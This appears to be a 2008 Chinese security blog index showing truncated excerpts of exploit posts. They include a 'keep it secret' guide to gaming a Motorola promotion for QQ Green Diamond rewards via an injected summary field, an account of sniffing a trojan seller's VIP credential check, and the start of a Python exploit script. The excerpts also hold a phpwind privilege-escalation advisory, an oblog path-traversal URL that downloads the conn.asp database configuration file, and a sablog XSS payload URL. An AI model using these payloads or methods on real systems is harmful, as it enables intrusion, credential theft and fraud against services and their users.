利用Moto的漏洞刷QQ绿钻，希望大家保密，不要外传。
活动有效时间：截止到2008年12月31日
奖品：刷qq绿钻
活动介绍：
今天告诉大家一个刷qq绿钻的方法，我们要用的活动是，MOTO音乐雷达，送手机，送免费qq绿钻,
每天积分的前30名可以获得qq绿钻。我们可以通过刷积分的方式来获得qq绿钻。
获得积分的方法主要有两种：
1、自己答题，普通qq用户最高每天拿100分。qq绿钻用户最高20

[阅读全文]

、注册一个用户，用户名script，密码123456

　　2、发布一篇日志，日志标题：测试一下

　　3、个人前台首页找到日志"测试一下"，点"推荐"

　　4、个人后台管理，选择"常用"选项中的"推荐日志"，然后点"测试一下"日志后面的修改，把摘要内容修改成：

s'/**/WHERE/** /log

[阅读全文]

昨天群里看到某牛发布某VIP木马所有VIP用户的数据库。。。

想起来偶以前拿了另一个VIP马过程，心里痒痒，打算试试。

上次拿了那个VIP马会员用了WHOIS拿的，不小心公布了出去，结果木马作者直接重新生成了所有用户。

经验教训，这次拿到了绝对不能公布。

这次的VIP验证和灰鸽子的大同小异，都是把用户名密码扔到验证服务器，验证后下载服务端。

所以会发送用户名密码出去。

监听本地通讯，得到地址：ht

[阅读全文]

Python代码 各位大大自己分析写其他版吧
常来http://www.80sec.com

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_op

[阅读全文]

漏洞发布：http://www.80sec.com/

漏洞作者：jianxin@80sec.com

漏洞厂商： http://www.phpwind.com/  本漏洞影响phpwind所有版本

漏洞危害：高

漏洞说明：phpwind是国内使用非常广泛的一款程序，由于在程序设计上存在错误，导致任何人可以取得前台管理员及斑主权限，做删除帖子等任意操作

利用方式：http://www.80sec.co

[阅读全文]

[阅读全文]

[阅读全文]

【赛迪网-IT技术报道】IE在处理数据流时存在漏洞，远程攻击者可能利用此漏洞控制用户系统。

发布日期：2008-04-08

更新日期：2008-04-09

受影响系统：

Microsoft Internet Explorer 7.0

Microsoft Internet Explorer 6.0 SP1

Microsoft Internet Explorer 6.0

Microsoft Internet Exp

[阅读全文]

oblog文件下载漏洞
漏洞存在版本4.6sql+access，一路跟踪下去吧
漏洞文件：attachment.asp
利用很简单：http://test.cn/attachment.asp?path=./conn.asp 即可下载CONN

[阅读全文]

Date：2008-03-27
Author：amxku[c.r.s.t]
Version:sablog 1.6

由于过滤不严，存在多个跨站漏洞

PS:
http://www.amxku.net/?viewmode=list&curl=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.a

[阅读全文]